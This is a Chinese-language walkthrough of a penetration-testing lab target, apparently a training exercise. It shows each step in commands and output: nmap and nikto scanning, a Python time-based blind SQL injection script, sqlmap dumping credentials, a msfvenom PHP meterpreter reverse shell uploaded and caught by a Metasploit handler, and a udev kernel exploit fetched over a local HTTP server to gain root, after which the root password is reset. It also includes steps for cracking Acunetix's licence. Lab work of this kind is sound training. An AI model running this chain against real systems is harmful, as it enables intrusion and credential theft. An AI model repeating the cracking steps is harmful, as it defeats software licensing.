一、打靶的主要五大步骤
1.确定目标:在所有的靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。
2.常见的信息收集:比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这次训练靶场中比如信息收集包括查看源码,使用工具dirb等
3.发现漏洞:之前你们看到那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell
4.利用漏洞就是使用漏洞拿到webshell
5.权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。
文章所需靶场及打靶过程所遇问题关注后私信获得
二、打靶的具体流程
渗透测试工具安装Awvs
┌──(kali㉿kali)-[~]
└─$ ls
Awvs.zip Documents Music Public Videos
Desktop Downloads Pictures Templates┌──(kali㉿kali)-[~]
└─$ unzip Awvs.zip
Archive: Awvs.zipinflating: Awvs/wa_data.dat inflating: Awvs/license_info.json
[Awvs.zip] Awvs/install.log password:
password incorrect--reenter:
password incorrect--reenter: inflating: Awvs/install.log inflating: Awvs/acunetix_14.5.211115146_x64.sh ┌──(kali㉿kali)-[~]
└─$ cd Awvs ┌──(kali㉿kali)-[~/Awvs]
└─$ ls
acunetix_14.5.211115146_x64.sh license_info.json
install.log wa_data.dat┌──(kali㉿kali)-[~/Awvs]
└─$ sudo ./acunetix_14.5.211115146_x64.sh
[sudo] password for kali:
按回车同意隐私条款…..注意 一直长按就行了,直到末尾输入yes
然后输入用户名和密码以及邮箱。邮箱:123456789@qq.com 密码:!123456Kr
接下来浏览器输入https://192.168.99.128:3443/192.168.99.128
邮箱:123456789@qq.com 密码:!123456Kr
登录后,提示目前是尚未激活的状态。
接下来进行破解
┌──(kali㉿kali)-[~/Awvs]
└─$ sudo cp -r license_info.json /home/acunetix/.acunetix/data/license
┌──(kali㉿kali)-[~/Awvs]
└─$ sudo chattr +i /home/acunetix/.acunetix/data/license/license_info.json
┌──(kali㉿kali)-[~/Awvs]
└─$ sudo rm -rf /home/acunetix/.acunetix/data/license/wa_data.dat
┌──(kali㉿kali)-[~/Awvs]
└─$ sudo cp -r wa_data.dat /home/acunetix/.acunetix/data/license
┌──(kali㉿kali)-[~/Awvs]
└─$ sudo chattr +i /home/acunetix/.acunetix/data/license/wa_data.dat
修改hosts文件
vim /etc/hosts
#增加下面两行
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com
┌──(kali㉿kali)-[~/Awvs]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters┌──(kali㉿kali)-[~/Awvs]
└─$ sudo vim /etc/hosts┌──(kali㉿kali)-[~/Awvs]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com ::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
然后再次刷新浏览器,可以看到已经激活
设置不更新
AWVS进程:
信息收集查询靶机的IP 与开放端口以及一些渗透测试需要的信息
自己的网卡设备名和IP地址段
使用工具对该网段进行局域网存活主机探测
使用nmap对发现的主机进行扫描
┌──(kali㉿kali)-[~]
└─$ nmap 192.168.8.0/24
信息识别
Wappalyzer插件获得信息:Web服务:Apache 2.2.3操作系统:Centos后端语言:PHP 5.2.6
Web漏洞扫描发现
Awvs进行Web漏洞探测发现打开本地靶场
新增扫描探测目标
填入目标地址,标注标题,点击又上角的save
可以设置扫描速度,这里暂时默认
点击scan 开始进行漏洞扫描探测
可以看到在扫描中
可以看到扫描出的漏洞,需要进一步验证
这里也可以看到站点目录结构
SQL注入挖掘
发现输入?id=1 2,3,4 会有变化
发现输入 ?id=1' ?id=1" 没有返回信息,没有报错
尝试输入 ?id=1 and sleep(2) 页面加载明显变慢
这里 可以使用时间盲注进行手工探测结合上面测试的SQL注入点,可以尝试进行代码注入
编辑sqlInjection-time_py3.py
#coding:utf-8
import requests
import time
#ip地址需要根据实际情况进行修改
ip_port="192.168.99.131:80"
data={"login":"bee","password":"bug","security_level":"0","form":"submit"
}
urlLogin="http://%s/index.php"%ip_port
session=requests.session()
resp=session.post(urlLogin,data)
num=0#获取数据库名称长度
for i in range(1,21):url="http://%s/index.php?id=1 and length(database())=%d and sleep(3) -- &action=search"%(ip_port,i) startTime=time.time()rsp=session.get(url)endTime=time.time()ga=endTime-startTimeif ga>1:print("length of database name is %d"%i)print(startTime)print(endTime)num=ibreak#获取数据库名字
l=[]
print("%d"%num)
for j in range(1,num+1):for k in range(33,128):url="http://%s/index.php?id=1 and ascii(substr(database(),%d,1))=%d and sleep(3) -- &action=search"%(ip_port,j,k)startTime=time.time()rsp=session.get(url)endTime=time.time()ga=endTime-startTimeif ga>1:print(chr(k))l.append(chr(k))break
print(l)
使用sqlInjection-time_py3.py 进行测试注入Python sqlInjection-time_py3.py
可以看到通过代码,可以拿到当前的数据库信息是:CMS
结合nikto进行漏洞挖掘
敏感目录探测:/sql/
┌──(kali㉿kali)-[~]
└─$ nikto -h http://192.168.99.131 说明:扫描目标CGI安全(危险文件及路径)
这里可以看到敏感目录 sql
这里有一个数据库文件, 可以打开看一下
这里可以看到一些敏感信息,访问开放的db.sql文件,拿到
用户名和密码admin adminpass
可以看到登录成功,但是没有看到多余的标签页,还是Home、login 考虑到是否有其他页面没有显示出来,尝试用不同的浏览器测试。下安装谷歌浏览器:在/usr/share/applications/下可以看到,然后把图标可以发送到桌面
发现,再谷歌浏览器中,显示了新的标签页
这里可以看到上传页面,可以测试是否存在上传漏洞
这里看到有重置密码的地方,可以测试是否存在csrf漏洞
这里可以看到之前的登录日志
敏感目录探测:/docs/:
这里可以看到敏感目录 docs
这里可以看到有敏感文件,有code_backup.tgz 代码备份phpinfo.php PHP信息页面可以尝试下载源码进行查看
可以把下载的笔记发送到桌面进行查看
把发送的桌面的源码包放到新建的code文件下进行解压查看
┌──(kali㉿kali)-[~/Desktop]
└─$ mkdir code
┌──(kali㉿kali)-[~/Desktop]
└─$ cp code_backup.tgz code
┌──(kali㉿kali)-[~/Desktop]
└─$ cd code
┌──(kali㉿kali)-[~/Desktop/code]
└─$ tar -zxf code_backup.tgz
我们可以进入相关的文件夹下,进行代码查看我们先进入到actiocns 文件夹下进行查看,这里先查看default.php
可以再打开login.php代码页面
SQLMap获取敏感信息
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs -D cms --tables
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs -D cms --tables -T user --columns
┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs -D cms --tables -T user --columns -C user_id,user_username,user_password --dump
文件包含利用
MSF反弹shell
┌──(kali㉿kali)-[~]
└─$ msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.99.128 LPORT=4444 -o shell.php
可以看到这里生成并保存了shell.php 网页木马接下来上传刚刚生成的shell.php,打开谷歌浏览器,打开http://192.168.99.131/ 点击登录,输入 admin/adminpass找到Add Event 的标签页
在这里进行shell.php 上传
可以看到提交后没有任何的提示回到网页界面,可以观察到
可以看到已经上传成功,路径是/files/shell.php接下来使用msfconsole工具
┌──(kali㉿kali)-[~]
└─$ msfconsole
接下来启动监听
msf6 > use exploit/multi/handler 使用监听模块
[*] Using configured payload generic/shell_reverse_tcp 被动监听
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.99.128 设置本地地址
lhost => 192.168.99.128
msf6 exploit(multi/handler) > set 查看配置
msf6 exploit(multi/handler) > exploit 开启监听,
进一步确认监听端口是否正常开启
┌──(kali㉿kali)-[~]
└─$ netstat -tunlp
接下来在靶机进行点击操作,点击之前上传的,shell.php 产生链接会话
注意这里已经可以看到链接会话session 1 opened
下面 可以查看系统信息
meterpreter > sysinfo
可以看到系统内核是:Linux 内核2.6版本 可以尝试搜索 Linux 内核2.6版本
看到有关键词提权
udev提权输入shell
meterpreter > shell
输入系统命令查看:查看系统IP:ifconfig
查看当前用户 whoami
可以看到当前用户Apache 服务用户权限不是系统用户
获得交互式shell :python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
bash-3.2$ whoami
whoami
apache
bash-3.2$
提取权限
┌──(kali㉿kali)-[~]
└─$ sudo searchsploit -u #更新
┌──(kali㉿kali)-[~]
└─$ sudo searchsploit linux udev
找到对应的攻击代码
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/exploitdb/exploits/linux/local
拷贝到当前目录下
┌──(kali㉿kali)-[~]
└─$ cp /usr/share/exploitdb/exploits/linux/local/8478.sh ./┌──(kali㉿kali)-[~]
└─$ ls
8478.sh
下面把8478.sh 上传到靶机
可以看到当前的目录就是之前的文件上传目录下面 把8478.sh 上传到这个目录
┌──(kali㉿kali)-[~]
└─$ python -m http.server
########将存放攻击代码的/home/kali作为临时http服务器共享目录,并临时开放http服务┌──(kali㉿kali)-[~]
└─$ pwd
/home/kali┌──(kali㉿kali)-[~]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
在之前的窗口把8478.sh 下载到目录
ls 查看可以看到已经把8478.sh 下载下来了
#这里可以看没有执行权限 需要给到执行权限bash-3.2$ chmod +x 8478.sh #给执行权限
bash-3.2$ ls -l
ls -l
total 68
-rw-r--r-- 1 apache apache 3365 Nov 19 2022 8478.sh
bash-3.2$ chmod +x 8478.sh #给执行权限
chmod +x 8478.sh
bash-3.2$ ls -l
ls -l
total 68
-rwxr-xr-x 1 apache apache 3365 Nov 19 2022 8478.sh
利用攻击脚本进行攻击,查看一下当前的进程
bash-3.2$ cat /proc/net/netlink #查看进程号PID
这里可以看到一个,笔记特殊的进程号,ffffffff netlink是一种基于网络的机制,允许在内核内部以及内核与用户层之间进行通信
这里可以看到提权成功,由bash-3.2$ 变成 sh-3.2# 可以输入命令,whoami或者id进行验证
可以看到已经是root的用户及权限
下面 可以修改root超级管理员的密码
sh-3.2# passwd root
passwd root
Changing password for user root.
New UNIX password: 123456BAD PASSWORD: it is too simplistic/systematic
Retype new UNIX password: 123456passwd: all authentication tokens updated successfully.
sh-3.2#
尝试使用root,修改后的密码123456 进行系统登录
查看IP地址:ifconfig
查看SSH是否安装(检查是否装了SSH包)。输设置SSH服务为开机启动。
远程链接也可以登录
三、打靶思路总结
-
使用扫描工具识别主机及端口服务,进行威胁建模
-
使用工具进行服务枚举,得到数据库文件和网站源码
-
审计网站源码,发现存在SQL注入和文件包含漏洞
-
通过SQLMAP进行注入,得到用户名和密码凭证
-
使用msf生成php反向shell,通过上传执行反向连接
-
寻找内核版本exp,从而提权到root用户